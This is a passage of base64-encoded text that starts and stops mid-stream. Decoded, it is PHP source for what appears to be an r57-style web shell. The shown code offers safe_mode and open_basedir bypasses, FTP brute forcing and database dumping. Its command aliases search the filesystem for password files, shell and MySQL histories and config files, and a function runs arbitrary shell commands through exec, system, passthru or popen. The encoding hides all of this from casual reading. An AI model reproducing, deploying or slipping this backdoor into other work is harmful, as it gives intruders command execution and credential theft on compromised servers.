jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbCAtIGVkaXRlZCBieSBBbHVjYXInLA0KJ2VuZ190ZXh0MzYnPT4nRGIgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2Nic9PidEZWxldGUnLA0KJ2VuZ190ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLA0KJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsDQonZW5nX3RleHQ2OSc9PidwYXJhbTEnLA0KJ2VuZ190ZXh0NzAnPT4ncGFyYW0yJywNCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLA0KJ2VuZ190ZXh0NzInPT4nVGV4dCBmb3IgZmluZCcsDQonZW5nX3RleHQ3Myc9PidGaW5kIGluIGZvbGRlcicsDQonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCidlbmdfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidlbmdfdGV4dDc2Jz0+J1NlYXJjaCB0ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywNCidlbmdfdGV4dDgwJz0+J1R5cGUnLA0KJ2VuZ190ZXh0ODEnPT4nTmV0JywNCidlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsDQonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywNCidlbmdfdGV4dDg0Jz0+J1NRTCBxdWVyeScsDQonZW5nX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLA0KJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ2VuZ19idXR0MTQnPT4nRG93bmxvYWQnLA0KJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsDQonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLA0KJ2VuZ190ZXh0ODknPT4nRmlsZSBvbiBmdHAnLA0KJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Mic9Pid3aXRob3V0IGFyY2hpdmF0aW9uJywNCidlbmdfdGV4dDkzJz0+J0ZUUCcsDQonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQonZW5nX3RleHQ5NSc9PidVc2VycyBsaXN0JywNCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLA0KJ2VuZ190ZXh0OTgnPT4nc3VjY2VzczogJywNCidlbmdfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLA0KJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQonZW5nX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSkgbG9naW4gZm9yIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMic9PidNYWlsJywNCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCidlbmdfdGV4dDEwNCc9PidTZW5kIGZpbGUgdG8gZW1haWwnLA0KJ2VuZ190ZXh0MTA1Jz0+J1RvJywNCidlbmdfdGV4dDEwNic9PidGcm9tJywNCidlbmdfdGV4dDEwNyc9PidTdWJqJywNCidlbmdfYnV0dDE1Jz0+J1NlbmQnLA0KJ2VuZ190ZXh0MTA4Jz0+J01haWwnLA0KJ2VuZ190ZXh0MTA5Jz0+J0hpZGUnLA0KJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLA0KJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCidlbmdfdGV4dDExMic9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBmdW5jdGlvbiBtYl9zZW5kX21haWwnLA0KJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0JywNCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLA0KJ2VuZ190ZXh0MTE1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgY29weSBmaWxlIHZpYSBjb21wcmVzcy56bGliOi8vIGluIGZ1bmN0aW9uIGNvcHkoKScsDQonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCidlbmdfdGV4dDExNyc9Pid0bycsDQonZW5nX3RleHQxMTgnPT4nRmlsZSBjb3BpZWQnLA0KJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywNCidlbmdfdGV4dDEyMCc9PidTUUwtU2VydmVyJywNCidlbmdfdGV4dDEyMSc9PidCeXBhc3MgcGhwIDUuMi42JywNCidlbmdfdGV4dDEyMic9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLA0KJ2VuZ190ZXh0MTIzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgdmlldyBkaXIgbGlzdCB2aWEgcmVhbHBhdGgoKSAoUEhQIDw9IDUuMi40KScsDQonZW5nX3RleHQxMjQnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGhbTlVMTC1ieXRlXSAoUEhQIDw9IDUuMi4wKScsDQonZW5nX3RleHQxMjUnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGgoVE1QRElSKSAoUEhQIDw9IDUuMi40KScsDQonZW5nX3RleHQxMjYnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSByZWFkZmlsZShwaHA6Ly8pIChQSFAgPD0gNS4yLjEsIDQuNC40KScsDQonZW5nX3RleHQxMjcnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgZm9wZW4oc3JwYXRoOi8vKSAoUEhQIHY1LjIuMCkgJywNCidlbmdfdGV4dDEyOCc9PidEYXRhJywNCidlbmdfdGV4dDEyOSc9PidEaWN0aW9uYXJ5JywNCidlbmdfdGV4dDEzMCc9PidEb1MnLA0KJ2VuZ190ZXh0MTMxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJsZS4nLA0KJ2VuZ19lcnIwJz0+J0Vycm9yISBDYW5cJ3Qgd3JpdGUgaW4gZmlsZSAnLA0KJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsDQonZW5nX2VycjInPT4nRXJyb3IhIENhblwndCBjcmVhdGUgJywNCidlbmdfZXJyMyc9PidFcnJvciEgQ2FuXCd0IGNvbm5lY3QgdG8gZnRwJywNCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLA0KJ2VuZ19lcnI1Jz0+J0Vycm9yISBDYW5cJ3QgY2hhbmdlIGRpciBvbiBmdHAnLA0KJ2VuZ19lcnI2Jz0+J0Vycm9yISBDYW5cJ3Qgc2VudCBtYWlsJywNCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLA0KJ2VuZ190ZXh0MjAwJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBjb3B5KCknLA0KJ2VuZ190ZXh0MjAyJz0+J3doZXJlIGZpbGUgaW4gc2VydmVyJywNCidlbmdfdGV4dDMwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY3VybCgpJywNCidlbmdfdGV4dDIwMyc9PidyZWFkIGZpbGUgZnJvbSB2dWwgaW5pX3Jlc3RvcmUoKScsDQonZW5nX3RleHQyMDQnPT4nd3JpdGUgc2hlbGwgZnJvbSB2dWwgZXJyb3JfbG9nKCknLA0KJ2VuZ190ZXh0MjA1Jz0+J3dyaXRlIHNoZWxsIGluIHRoaXMgc2lkZScsDQonZW5nX3RleHQyMDYnPT4ncmVhZCBkaXInLA0KJ2VuZ190ZXh0MjA3Jz0+J3JlYWQgZGlyIGZyb20gdnVsIHJlZ19nbG9iJywNCidlbmdfdGV4dDIwOCc9PidleGVjdXRlIHdpdGggZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MjA5Jz0+J3JlYWQgZGlyIGZyb20gdnVsIHJvb3QnLA0KJ2VuZ190ZXh0MjEwJz0+J0RlWmVuZGVyICcsDQonZW5nX3RleHQyMTEnPT4nOjpzYWZlX21vZGUgb2ZmOjonLA0KJ2VuZ190ZXh0MjEyJz0+J0Nsb3NlIHNhZmVfbW9kZSB3aXRoIHBocC5pbmknLA0KJ2VuZ190ZXh0MjEzJz0+J0Nsb3NlIHNlY3VyaXR5X21vZCB3aXRoIC5odGFjY2VzcycsDQonZW5nX3RleHQyMTQnPT4nQWRtaW4gbmFtZScsDQonZW5nX3RleHQyMTUnPT4nSVJDIHNlcnZlciAnLA0KJ2VuZ190ZXh0MjE2Jz0+JyNyb29tIG5hbWUnLA0KJ2VuZ190ZXh0MjE3Jz0+J3NlcnZlcicsDQonZW5nX3RleHQyMTgnPT4nd3JpdGUgaW5pLnBocCBmaWxlIHRvIGNsb3NlIHNhZmVfbW9kZSB3aXRoIGluaV9yZXN0b3JlIHZ1bCcsDQonZW5nX3RleHQyMTknPT4nR2V0IGZpbGUgdG8gc2VydmVyIGluIHNhZmVfbW9kZSBhbmQgY2hhbmdlIG5hbWUnLA0KJ2VuZ190ZXh0MjIwJz0+J3Nob3cgZmlsZSB3aXRoIHN5bWxpbmsgdnVsJywNCidlbmdfdGV4dDIyMSc9Pid6aXAgZmlsZSBpbiBzZXJ2ZXIgdG8gZG93bmxvYWQnLA0KJ2VuZ190ZXh0MjIyJz0+JzIgc3ltbGluayB1c2UgdnVsJywNCidlbmdfdGV4dDIyMyc9PidyZWFkIGZpbGUgZnJvbSBmdW5jdXRpb24nLA0KJ2VuZ190ZXh0MjI0Jz0+J3JlYWQgZmlsZSBmcm9tIFBMVUdJTicsDQonZW5nX3RleHQyMjUnID0+ICdodGFjY2VzcyBzYWZlbW9kZSBhbmQgb3Blbl9iYXNlZGlyIGJ5cGFzcycsDQonZW5nX3RleHQyMjYnID0+ICdXcml0ZSB0byBmaWxlJywNCidlbmdfdGV4dDIyNycgPT4gJ0NvbnRlbnQnLA0KJ2VuZ190ZXh0MjI4JyA9PiAnU1NJIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjI5JyA9PiAnQ09NIGZ1bmN0aW9ucyBzYWZlX21vZGUgYW5kIGRpc2FibGVfZnVuY3Rpb24gYnlwYXNzJywNCidlbmdfdGV4dDIzMCcgPT4gJ2lvbkN1YmUgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMxJyA9PiAnd2luMzJzdGQgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMyJyA9PiAnd2luMzJzZXJ2aWNlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMycgPT4gJ3BlcmwgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjM0JyA9PiAnRkZJIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEzNyc9PidVc2VmdWwnLA0KJ2VuZ190ZXh0MTM4Jz0+J0Rhbmdlcm91cycsDQonZW5nX3RleHQxNDInPT4nRG93bmxvYWRlcnMnLA0KJ2VuZ19idXR0NjUnPT4nV3JpdGUnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJ2ZpbmQgc3VpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ2xpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz0+J2xzYXR0ciAtdmEnLA0KJ3Nob3cgb3BlbmVkIHBvcnRzJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrDQo+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBjbGFzcz10dCBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1XaGl0ZT40PC9mb250PiI7DQokbGIgPSAiPGZvbnQgY29sb3I9V2hpdGU+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNvbG9yPVdoaXRlPl08L2ZvbnQ+IjsNCiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7IEBjaGRpcigkX1BPU1RbJ2RpciddKTsgfQ0KJGRpciA9IEBnZXRjd2QoKTsNCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikpDQogew0KICRvcyA9IGdldGVudignT1MnKTsNCiBpZihlbXB0eSgkb3MpKXsgJG9zID0gcGhwX3VuYW1lKCk7IH0NCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0NCiBlbHNlDQogICAgew0KICAgIGlmKEBlcmVnaSgiXndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0NCiAgICBlbHNlIHsgJHVuaXggPSAxOyB9DQogICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NfdGV4dCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQiKQ0KICB7DQogICAgZWNobyAkaGVhZDsNCiAgICBpZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYgIWVtcHR5KCRfUE9TVFsnbSddKSkgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pOyB9DQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9DQogICAgJHNyLT5TZWFyY2hUZXh0KDAsMCk7DQogICAgJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiAgICAkZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOw0KICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOw0KICAgICRyID0gIiI7DQogICAgaWYoJGZvdW5kID4gMCkNCiAgICB7DQogICAgICAkciAuPSAiPFRBQkxFIHdpZHRoPTEwMCU+IjsNCiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpDQogICAgICB7DQogICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluIGNvbHNwYW49Mj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQogICAgICAgICRyIC49ICI8L2I+PC9mb250PjwvIFREPiI7DQogICAgICAgICRyIC49ICI8L1RSPiI7DQogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQ0KICAgICAgICB7DQogICAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICAkciAuPSAiPC9UQUJMRT4iOw0KICAgIGVjaG8gJHI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsNCiAgICB9DQogIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgpOw0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcm